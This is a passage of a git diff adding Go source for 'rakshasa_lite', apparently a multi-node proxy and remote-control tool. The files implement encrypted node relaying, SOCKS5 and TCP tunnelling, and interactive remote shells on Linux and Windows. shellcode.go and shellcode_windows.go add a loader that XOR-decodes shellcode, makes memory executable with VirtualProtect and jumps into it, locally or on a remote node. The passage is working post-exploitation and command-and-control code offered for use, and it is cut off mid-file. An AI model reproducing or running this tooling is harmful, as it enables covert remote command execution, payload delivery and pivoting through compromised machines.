Goos: cert.RSAEncrypterStr(n.goos), + } + + b, _ := json.Marshal(nmsg) + writemsg := &common.Msg{ + From: currentNode.uuid, + To: common.BroadcastUUID.String(), + CmdOpteion: common.CMD_ADD_NODE, + CmdData: b, + } + go allNodesDo(func(_n *node) (bool, error) { + + if _n.uuid != currentNode.uuid { + + _n.WriteMsg(writemsg) + } + return true, nil + }) + +} + +func GetNodeFromAddrs(dst []string) (n *node, err error) { + if len(dst) == 0 { + return nil, errors.New("参数错误,目标节点为空") + } + if n, err = getNode(dst[0]); err != nil { + return + } + if n.uuid == currentNode.uuid { + return nil, errors.New("不能连接自己") + } + for i := 1; i < len(dst); i++ { + n, err = n.remoteReg(dst[i]) + if err != nil { + return nil, fmt.Errorf("%s,%v", dst[i], err) + } + if n.uuid == currentNode.uuid { + return nil, errors.New("不能连接自己") + } + } + n.reConnectAddrs = make([]string, len(dst)) + copy(n.reConnectAddrs, dst) + return +} + +// 储存并返回id +func (n *node) storeQuery(v chan interface{}) (newID uint32) { + + for { + newID = common.GetConnID() + if newID == 0 { + continue + } + if _, ok := n.queryMap.LoadOrStore(newID, v); !ok { + return + } + } +} +func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) { + value, ok := n.queryMap.Load(id) + if ok { + v = value.(chan interface{}) + } + return v, ok +} +func (n *node) deleteQuery(id uint32) { + n.queryMap.Delete(id) +} +func (n *node) storeConn(v common.Conn) (newID uint32) { + + for { + newID = common.GetConnID() + if newID == 0 { + continue + } + if _, ok := n.connMap.LoadOrStore(newID, v); !ok { + return + } + } +} + +func (n *node) writeGetNodeResult(id uint32) { + l := clientLock.RLock() + + defer l.RUnlock() + + var s []*nodeInfo + + for _, _n := range nodeMap { + if _n.uuid != currentNode.uuid { + s = append(s, &nodeInfo{ + UUID: _n.uuid, + HostName: cert.RSAEncrypterStr(_n.hostName), + MainIp: cert.RSAEncrypterStr(_n.mainIp), + Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)), + Goos: cert.RSAEncrypterStr(_n.goos), + }) + } + + } + + b, _ := json.Marshal(s) + n.Write(common.CMD_GET_NODE_RESULT, id, b) +} +func (n *node) updateNode(msg nodeInfo) { + n.hostName = msg.HostName + n.mainIp = msg.MainIp + n.port, _ = strconv.Atoi(msg.Port) + n.goos = msg.Goos +} diff --git a/rakshasa_lite/server/order.go b/rakshasa_lite/server/order.go new file mode 100644 index 0000000..80ac67c --- /dev/null +++ b/rakshasa_lite/server/order.go @@ -0,0 +1,228 @@ +package server + +import "strings" + +func orderNode(list []*node) { + f := func(a, b *node) bool { + if strings.Contains(a.addr, "(localhost)") { + return true + } else if strings.Contains(b.addr, "(localhost)") { + return false + } + return a.uuid < b.uuid + } + max_len := len(list) + tmp := make([]*node, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} +func orderClientListen(list []*clientListen) { + f := func(a, b *clientListen) bool { + return a.id < b.id + } + max_len := len(list) + tmp := make([]*clientListen, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} +func orderHttpProxy(list []*httpProxyClient) { + f := func(a, b *httpProxyClient) bool { + return a.id < b.id + } + max_len := len(list) + tmp := make([]*httpProxyClient, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} diff --git a/rakshasa_lite/server/raw_tcp_client.go b/rakshasa_lite/server/raw_tcp_client.go new file mode 100644 index 0000000..e1e7ced --- /dev/null +++ b/rakshasa_lite/server/raw_tcp_client.go @@ -0,0 +1,180 @@ +package server + +import ( + "cert" + "encoding/binary" + "errors" + "fmt" + "math/rand" + "net" + "rakshasa_lite/common" + "sync" + "sync/atomic" + "time" +) + +var ( +// clientListenMap = make(map[uint32]*remoteListen) +// connectMap = make(map[uint32]*rawConnect) +) + +type clientListen struct { + id uint32 + localAddr string + remoteAddr string + server *node + typ string + openOption byte + openMsg []byte //掉线重连会用到 + connMap sync.Map //clientListen关闭的时候关掉这里的id + listen net.Listener + result chan interface{} + randkey []byte //随机key int64 +} + +func StartRawBind(str string, dst []string) error { + n, err := GetNodeFromAddrs(dst) + if err != nil { + + return err + } + + addrs, err := common.ResolveTCPAddr(str) + if err != nil { + + return err + } + if len(addrs) != 2 { + return errors.New("参数错误,格式为ip:port,remote_ip:remote_port") + } + + l := &clientListen{ + id: common.GetID(), + localAddr: addrs[0], + remoteAddr: addrs[1], + server: n, + typ: "bind", + result: make(chan interface{}), + openOption: common.CMD_LISTEN, + randkey: make([]byte, 8), + } + binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, []byte(addrs[1])...)) + currentNode.listenMap.Store(l.id, l) + n.Write(l.openOption, l.id, l.openMsg) + select { + case res := <-l.result: + + if err, ok := res.(error); ok { + l.Close(remoteClose) + currentNode.listenMap.Delete(l.id) + return err + } + case <-time.After(common.CMD_TIMEOUT): + l.Close(remoteClose) + currentNode.listenMap.Delete(l.id) + return fmt.Errorf("listen %s fail time out", addrs[1]) + + } + fmt.Println("bind 启动成功") + //l := clientLock.Lock() + + //clientListenMap[b.id] = b + //l.Unlock() + return nil +} +func StartRawConnect(str string, n *node) error { + addrs, err := common.ResolveTCPAddr(str) + if len(addrs) != 2 || err != nil { + return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port") + } + + addr1, _ := net.ResolveTCPAddr("tcp", addrs[1]) + listen, err := net.Listen("tcp", addrs[0]) + if err != nil { + return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error()) + } + + l := &clientListen{ + id: common.GetID(), + localAddr: addrs[0], + remoteAddr: addrs[1], + listen: listen, + server: n, + typ: "connect", + randkey: make([]byte, 8), + } + binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + currentNode.listenMap.Store(l.id, l) + + go func() { + for { + conn, err := listen.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + s := &clientConnect{ + conn: conn, + server: n, + randkey: l.randkey, + } + s.OnOpened() + if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) { + go rawHandleLocal(s) + } else { + s.Close(nodeIsClose) + + } + + } + }() + return nil +} +func (l *clientListen) Close(reason string) { + l.connMap.Range(func(key, value interface{}) bool { + value.(*clientConnect).Close(reason) + l.connMap.Delete(key) + return true + }) + l.server.listenMap.Delete(l.id) + if l.listen != nil { + l.listen.Close() + } +} + +func rawHandleLocal(s *clientConnect) { + buf := make([]byte, common.MAX_PLAINTEXT) + + for { + n, err := s.conn.Read(buf[8:]) + if err != nil { + + s.Close(err.Error()) + return + } + + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + buf[0] = byte(new_size) + buf[1] = byte(new_size >> 8) + buf[2] = byte(new_size >> 16) + buf[3] = byte(new_size >> 24) + buf[4] = byte(new_size >> 32) + buf[5] = byte(new_size >> 40) + buf[6] = byte(new_size >> 48) + buf[7] = byte(new_size >> 56) + + data := make([]byte, 8+n) + copy(data, buf) + s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n]) + } +} diff --git a/rakshasa_lite/server/raw_tcp_server.go b/rakshasa_lite/server/raw_tcp_server.go new file mode 100644 index 0000000..6a6b06a --- /dev/null +++ b/rakshasa_lite/server/raw_tcp_server.go @@ -0,0 +1,64 @@ +package server + +import ( + "bytes" + "net" + "rakshasa_lite/common" + "sync/atomic" +) + +func (l *serverListen) Lisen() { + + for { + c, err := l.listen.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + + continue + } + + conn := &serverConnect{} + conn.conn = c + conn.address = c.RemoteAddr().String() + conn.node = l.node + conn.write = make(chan *bytes.Buffer, 64) + + if l.isSocks5 { + conn.id = l.id + l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...)) + go conn.handTcpReceive() + return + } + conn.id = l.node.storeConn(conn) + + b := make([]byte, 4) + b[0] = byte(conn.id) + b[1] = byte(conn.id >> 8) + b[2] = byte(conn.id >> 16) + b[3] = byte(conn.id >> 24) + conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey, b...)) + l.connMap.Store(conn.id, conn) + go conn.handTcpReceive() + + } +} +func (l *serverListen) Close(reason string) { + if atomic.CompareAndSwapInt32(&l.close, 0, 1) { + if l.listen != nil { + l.listen.Close() + } + l.connMap.Range(func(key, value interface{}) bool { + if reason != remoteClose { + l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil) + } + l.connMap.Delete(key) + return true + }) + if reason != remoteClose { + + l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey) + } + } +} diff --git a/rakshasa_lite/server/remote_socks5.go b/rakshasa_lite/server/remote_socks5.go new file mode 100644 index 0000000..be48d6b --- /dev/null +++ b/rakshasa_lite/server/remote_socks5.go @@ -0,0 +1,40 @@ +package server + +import ( + "cert" + "encoding/binary" + "errors" + "math/rand" + "rakshasa_lite/common" + "time" +) + +func StartRemoteSocks5(cfg *common.Addr, n *node) error { + + l := &clientListen{ + id: common.GetID(), + localAddr: "", + remoteAddr: cfg.Addr(), + server: n, + typ: "socks5", + result: make(chan interface{}), + randkey: make([]byte, 8), + } + binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + l.openOption = common.CMD_REMOTE_SOCKS5 + l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, cfg.String()...)) + n.Write(l.openOption, l.id, l.openMsg) + currentNode.listenMap.Store(l.id, l) + select { + case res := <-l.result: + if err, ok := res.(error); ok { + l.Close(remoteClose) + return err + } + case <-time.After(common.CMD_TIMEOUT): + l.Close(remoteClose) + return errors.New("time out") + } + + return nil +} diff --git a/rakshasa_lite/server/shell.go b/rakshasa_lite/server/shell.go new file mode 100644 index 0000000..1343874 --- /dev/null +++ b/rakshasa_lite/server/shell.go @@ -0,0 +1,98 @@ +package server + +/* + *高级shell功能 + *node节点管理、remoteShell远程shell,config配置管理 + */ +import ( + "github.com/creack/pty" + "io" + "os/exec" + "strconv" + "strings" + "sync" +) + +var ( + shellMapLock sync.Mutex +) + +type StartCmdParam struct { + Param string + Size *pty.Winsize +} +type remoteCmd struct { + cmdStatus int32 + cmd *exec.Cmd + id uint32 + stdin io.WriteCloser + inChan chan []byte + translate func(in []byte) ([]byte, error) + ping, pong int64 +} + +func getRealPath(path string) string { + + path_s := strings.Split(path, "/") + realpath := []string{} + if len(path_s) == 0 { + return "error" + } + for _, value := range path_s { + + if value == ".." { + k := len(realpath) + kk := k - 1 + realpath = append(realpath[:kk], realpath[k:]...) + } else { + realpath = append(realpath, value) + } + } + + return strings.Join(realpath, "/") +} + +func getNode(arg string) (*node, error) { + l := clientLock.RLock() + + id, err := strconv.Atoi(arg) + + if err == nil { + for _, n := range nodeMap { + if n.id == id && n.uuid != currentNode.uuid { + l.RUnlock() + return n, nil + } + } + } else { + if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid { + l.RUnlock() + return v, nil + } + } + l.RUnlock() + + return connectNew(arg) +} +func getNodeWithCurrentNode(arg string) (*node, error) { + l := clientLock.RLock() + + id, err := strconv.Atoi(arg) + + if err == nil { + for _, n := range nodeMap { + if n.id == id { + l.RUnlock() + return n, nil + } + } + } else { + if v, ok := nodeMap[arg]; ok { + l.RUnlock() + return v, nil + } + } + l.RUnlock() + + return connectNew(arg) +} diff --git a/rakshasa_lite/server/shell_linux .go b/rakshasa_lite/server/shell_linux .go new file mode 100644 index 0000000..7e7bb63 --- /dev/null +++ b/rakshasa_lite/server/shell_linux .go @@ -0,0 +1,100 @@ +//go:build linux || darwin +// +build linux darwin + +package server + +import ( + "errors" + "io" + "os/exec" + "rakshasa_lite/common" + "time" + + "github.com/creack/pty" +) + +func startCMD(n *node, msgid uint32, param StartCmdParam) error { + if param.Param == "" { + param.Param = "/bin/bash" + } + shellMapLock.Lock() + defer func() { + shellMapLock.Unlock() + }() + + cmd := &remoteCmd{ + id: common.GetID(), + inChan: make(chan []byte), + + translate: func(in []byte) ([]byte, error) { return in, nil }, + pong: time.Now().Unix(), + } + + cmd.cmd = exec.Command(param.Param) + f, err := pty.StartWithSize(cmd.cmd, param.Size) + if err != nil { + + return err + } + cmd.stdin = f + outErr := make(chan error, 999) + + n.shellMap.Store(cmd.id, cmd) + + go func(cmd *remoteCmd) { + defer func() { + n.shellMap.Delete(cmd.id) + f.Close() + cmd.stdin.Close() + }() + errChan := make(chan error, 999) + go func() { + for { + select { + case b := <-cmd.inChan: + if len(b) == 0 { //ping数据包 + + n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong + } else { + + _, err = cmd.stdin.Write(b) + if err != nil { + errChan <- err + } + } + + case err = <-errChan: + + cmd.cmd.Process.Kill() + case err = <-outErr: + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...)) + cmd.cmd.Process.Kill() + return + case <-time.After(common.CMD_TIMEOUT): //避免超时 + cmd.cmd.Process.Kill() + return + + } + } + }() + go func() { + buf := make([]byte, common.MAX_PLAINTEXT) + for { + num, err2 := f.Read(buf) + if err2 != nil || io.EOF == err2 { + outErr <- errors.New("退出shell") + break + } + + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + + } + + }() + + cmd.cmd.Wait() + }(cmd) + n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1}) + return nil + +} diff --git a/rakshasa_lite/server/shell_windows.go b/rakshasa_lite/server/shell_windows.go new file mode 100644 index 0000000..3805514 --- /dev/null +++ b/rakshasa_lite/server/shell_windows.go @@ -0,0 +1,134 @@ +//go:build windows +// +build windows + +package server + +import ( + "errors" + "io" + "rakshasa_lite/common" + "time" + + "os/exec" +) + +func startCMD(n *node, msgid uint32, param StartCmdParam) error { + if param.Param == "" { + param.Param = "cmd" + } + shellMapLock.Lock() + defer func() { + + shellMapLock.Unlock() + }() + + cmd := &remoteCmd{ + id: common.GetID(), + inChan: make(chan []byte), + translate: func(in []byte) ([]byte, error) { return in, nil }, + pong: time.Now().Unix(), + } + + c := exec.Command("chcp") + res, err := c.Output() + if err != nil { + + return err + } + + cmd.cmd = exec.Command(param.Param) + + stdout, err := cmd.cmd.StdoutPipe() + if err != nil { + + return err + } + cmd.stdin, err = cmd.cmd.StdinPipe() + if err != nil { + + return err + } + + stderr, err := cmd.cmd.StderrPipe() + if err != nil { + return err + } + + err = cmd.cmd.Start() + if err != nil { + return err + } + outErr := make(chan error, 999) + n.shellMap.Store(cmd.id, cmd) + + go func(cmd *remoteCmd) { + defer func() { + n.shellMap.Delete(cmd.id) + stdout.Close() + cmd.stdin.Close() + cmd.cmd.Process.Kill() + }() + var errchan = make(chan error, 10) + go func() { + for { + select { + case b := <-cmd.inChan: + if len(b) == 0 { //ping数据包 + n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong + } else { + _, err = cmd.stdin.Write(b) + if err != nil { + errchan <- err + } + } + + case err = <-errchan: + + cmd.cmd.Process.Kill() + case err = <-outErr: + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...)) + cmd.cmd.Process.Kill() + return + case <-time.After(common.CMD_TIMEOUT): //避免超时 + + cmd.cmd.Process.Kill() + return + + } + } + }() + go func() { + + buf := make([]byte, common.MAX_PLAINTEXT) + for { + num, err2 := stdout.Read(buf) + if err2 != nil || io.EOF == err2 { + outErr <- errors.New("退出shell") + + break + } + + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + + } + + }() + go func() { + buf := make([]byte, 1024) + for { + num, err2 := stderr.Read(buf) + if err2 != nil || io.EOF == err2 { + + break + } + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + //output, _ := libraries.GbkToUtf8(buf[:n]) + + } + }() + cmd.cmd.Wait() + }(cmd) + + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...)) + return nil +} diff --git a/rakshasa_lite/server/shellcode.go b/rakshasa_lite/server/shellcode.go new file mode 100644 index 0000000..f686471 --- /dev/null +++ b/rakshasa_lite/server/shellcode.go @@ -0,0 +1,110 @@ +package server + +import ( + "cert" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/ioutil" + "os" + "os/exec" + "path/filepath" + "rakshasa_lite/common" + "time" +) + +type ShellCodeStruct struct { + Str string + Key string + Param string + TimeOut int //second +} + +func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error { + + if dst != "" { + n, err := getNodeWithCurrentNode(dst) + if err != nil { + return fmt.Errorf("无法链接节点%s,错误%v", dst, err) + } + s := ShellCodeStruct{ + Str: shellcode, + Key: xorKey, + Param: param, + TimeOut: timeout, + } + if n.uuid == currentNode.uuid { + return doShellcode(s) + } + res := make(chan interface{}, 1) + id := n.storeQuery(res) + + b, _ := json.Marshal(s) + n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b)) + select { + case v := <-res: + fmt.Println("运行结果\n", v) + case <-time.After(time.Second * time.Duration(timeout) * 2): + fmt.Println("运行超时无结果") + } + } else { + + b, err := ioutil.ReadFile(shellcode) + if err != nil { + return currentNodeRunShellcode(shellcode, xorKey, param) + } else { + return currentNodeRunShellcode(string(b), xorKey, param) + } + + } + return nil +} +func currentNodeRunShellcode(shellcode, xorKey, param string) error { + + common.ChangeArg(param) + b, err := hex.DecodeString(shellcode) + + if err != nil { + b, err = base64.RawStdEncoding.DecodeString(shellcode) + } + if err != nil { + b = []byte(shellcode) + //fmt.Println(err) + //return errors.New("shellcode hex/base64 解码失败") + } + + if len(xorKey) > 0 { + for i := 0; i < len(b); i++ { + k := i % (len(xorKey)) + b[i] = b[i] ^ xorKey[k] + } + } + + shellcodeRun(b) + return nil +} + +func doShellcode(s ShellCodeStruct) error { + + path, _ := os.Executable() + _, exeName := filepath.Split(path) + + cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param) + reschan := make(chan string, 2) + + go func() { + r, _ := cmd.CombinedOutput() + + reschan <- string(r) + + }() + select { + case res := <-reschan: + return errors.New(res) + case <-time.After(time.Second * (time.Duration(s.TimeOut))): + return errors.New("已执行,等待超时") + } + +} diff --git a/rakshasa_lite/server/shellcode_darwin.go b/rakshasa_lite/server/shellcode_darwin.go new file mode 100644 index 0000000..a6f78f1 --- /dev/null +++ b/rakshasa_lite/server/shellcode_darwin.go @@ -0,0 +1,7 @@ +package server + +import "errors" + +func shellcodeRun(b []byte) error { + return errors.New("linux暂不支持") +} diff --git a/rakshasa_lite/server/shellcode_linux.go b/rakshasa_lite/server/shellcode_linux.go new file mode 100644 index 0000000..3798b7a --- /dev/null +++ b/rakshasa_lite/server/shellcode_linux.go @@ -0,0 +1,8 @@ + +package server + +import "errors" + +func shellcodeRun(b []byte) error { + return errors.New("linux暂不支持") +} diff --git a/rakshasa_lite/server/shellcode_windows.go b/rakshasa_lite/server/shellcode_windows.go new file mode 100644 index 0000000..e7156dd --- /dev/null +++ b/rakshasa_lite/server/shellcode_windows.go @@ -0,0 +1,38 @@ +//go:build windows +// +build windows + +package server + +import ( + "fmt" + "syscall" + "unsafe" +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + + old32 = syscall.MustLoadDLL("ole32.dll") + CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc") +) + +func shellcodeRun(code []byte) error { + defer func() { + if err := recover(); err != nil { + fmt.Println(err) + } + }() + VirtualProtect := kernel32.MustFindProc("VirtualProtect") + l := uintptr(len(code)) + pwstrLocal, _, _ := CoTaskMemAlloc.Call(l) + + var old int + _, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old))) + h := [3]uintptr{pwstrLocal, l, l} + s := *(*[]byte)(unsafe.Pointer(&h)) + + copy(s, code) + + syscall.Syscall(pwstrLocal, 0, 0, 0, 0) + return nil +} diff --git a/rakshasa_lite/server/socks5.go b/rakshasa_lite/server/socks5.go new file mode 100644 index 0000000..c2c6941 --- /dev/null +++ b/rakshasa_lite/server/socks5.go @@ -0,0 +1,506 @@ +package server + +import ( + "bytes" + "cert" + "encoding/binary" + "errors" + "fmt" + "log" + "math/rand" + "net" + "rakshasa_lite/common" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + "unsafe" +) + +const ( + UDP_PORT_MIN = 30000 + UDP_PORT_MAX = 60000 + SOCKES5_VERSION = 5 +) + +var ( + SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0} + SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2} + PROTOCOL_ERR = errors.New("protocolErr") +) + +const ( + CONN_AUTH_CLOSE = 0 + CONN_AUTH_NONE = 1 + CONN_AUTH_PW = 2 + CONN_AUTH_OK = 3 + CONN_AUTH_MESSAGE = 4 + CONN_REMOTE_CLOSE = 0 + CONN_REMOTE_OPEN = 1 +) + +type clientConnect struct { + cfg *common.Addr + windowsSize int64 + isClose int32 + conn net.Conn + udpConn net.Conn + + remote int32 + auth int + server *node + id uint32 + wait chan int + close string + + udpMap sync.Map + udpRepData []byte + addrData []byte + + listenId uint32 + randkey []byte +} + +func (s *clientConnect) Write(b []byte) { + + switch b[0] { + + case common.CMD_CONNECT_BYIDADDR_RESULT: + + switch common.NetWork(b[9]) { + case common.SOCKS5_CMD_CONNECT: + + if b[10] != 1 { + go func() { s.Close("") }() + } else { + + //发送成功消息 + s.auth = CONN_AUTH_MESSAGE + s.conn.Write(append([]byte{5, 0, 0}, s.addrData...)) + } + case common.SOCKS5_CMD_BIND: + s.auth = CONN_AUTH_MESSAGE + s.conn.Write(append([]byte{5, 0, 0}, s.addrData...)) + case common.RAW_TCP: + if b[10] != 1 { + go func() { s.Close("") }() + } + default: + log.Println("socks5 未处理") + } + + case common.CMD_CONN_MSG: + + s.conn.Write(b[1:]) + s.Addwindow(int64(-len(b[1:]))) + case common.CMD_CONN_UDP_MSG: + s.udpConn.Write(b[1:]) + } + +} + +var remoteClose = "服务器要求远程关闭" +var nodeIsClose = "节点已经断开连接" + +func (s *clientConnect) Close(msg string) { + if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) { + + <-s.wait + s.wait <- common.CONN_STATUS_CLOSE + s.auth = CONN_AUTH_CLOSE + s.server.connMap.Delete(s.id) + + if msg == "" { + msg = "未知关闭" + } + s.close = msg + if msg == remoteClose { + s.remote = CONN_REMOTE_CLOSE + } else if s.remote == CONN_REMOTE_OPEN { + s.remote = CONN_REMOTE_CLOSE + s.Remoteclose() + } + + s.conn.Close() + if s.udpConn != nil { + s.udpConn.Close() + } + s.udpMap.Range(func(k, _ interface{}) bool { + s.udpMap.Delete(k) + return true + }) + } + +} +func (s *clientConnect) Addwindow(window int64) { + + windows_size := atomic.AddInt64(&s.windowsSize, window) + windows_update_size := int64(common.INIT_WINDOWS_SIZE) + + if windows_size < windows_update_size/2 { //扩大窗口 + if size := windows_update_size - s.windowsSize; size > 0 { + atomic.AddInt64(&s.windowsSize, size) + + go func() { + buf := make([]byte, 8) + buf[0] = byte(size & 255) + buf[1] = byte(size >> 8 & 255) + buf[2] = byte(size >> 16 & 255) + buf[3] = byte(size >> 24 & 255) + buf[4] = byte(size >> 32 & 255) + buf[5] = byte(size >> 40 & 255) + buf[6] = byte(size >> 48 & 255) + buf[7] = byte(size >> 56 & 255) + s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf) + }() + } + } +} + +func StartSocks5(cfg *common.Addr, dst []string) error { + var target *node + var err error + if len(dst) == 0 { + target = currentNode + } else { + target, err = GetNodeFromAddrs(dst) + if err != nil { + return err + } + } + + l := &clientListen{ + + server: target, + localAddr: cfg.Addr(), + id: common.GetID(), + typ: "socks5", + randkey: make([]byte, 8), + } + binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + l.listen, err = StartSocks5WithServer(cfg, target, l.id) + if err != nil { + + return err + } + + currentNode.listenMap.Store(l.id, l) + return nil +} +func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) { + l, err := net.Listen("tcp", cfg.Addr()) + if err != nil { + return nil, err + } + randkey := make([]byte, 8) + binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63())) + fmt.Println("socks5 start ", cfg.Addr()) + go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + c := &clientConnect{ + cfg: cfg, + conn: conn, + server: n, + listenId: id, + randkey: randkey, + } + + go handleSocks5Local(c) + + } + }() + return l, nil +} + +func (s *clientConnect) OnOpened() (close bool) { + s.wait = make(chan int, 1) + s.auth = CONN_AUTH_NONE + s.remote = CONN_REMOTE_OPEN + s.windowsSize = 0 + s.wait <- common.CONN_STATUS_OK + + return +} + +// 监听本地服务 +func handleSocks5Local(s *clientConnect) { + defer func() { + if err := recover(); err != nil { + + } + }() + b := make([]byte, common.MAX_PLAINTEXT-8) + if s.OnOpened() { + s.Close("无法获得服务器连接") + } + for { + n, err := s.conn.Read(b) + if err != nil { + + s.Close(err.Error()) + return + } + data := b[:n] + + switch s.auth { + case CONN_AUTH_NONE: + + if len(data) > 2 { + if data[0] == 5 { + if s.cfg.User() != "" && s.cfg.Password() != "" { + s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD) + s.auth = 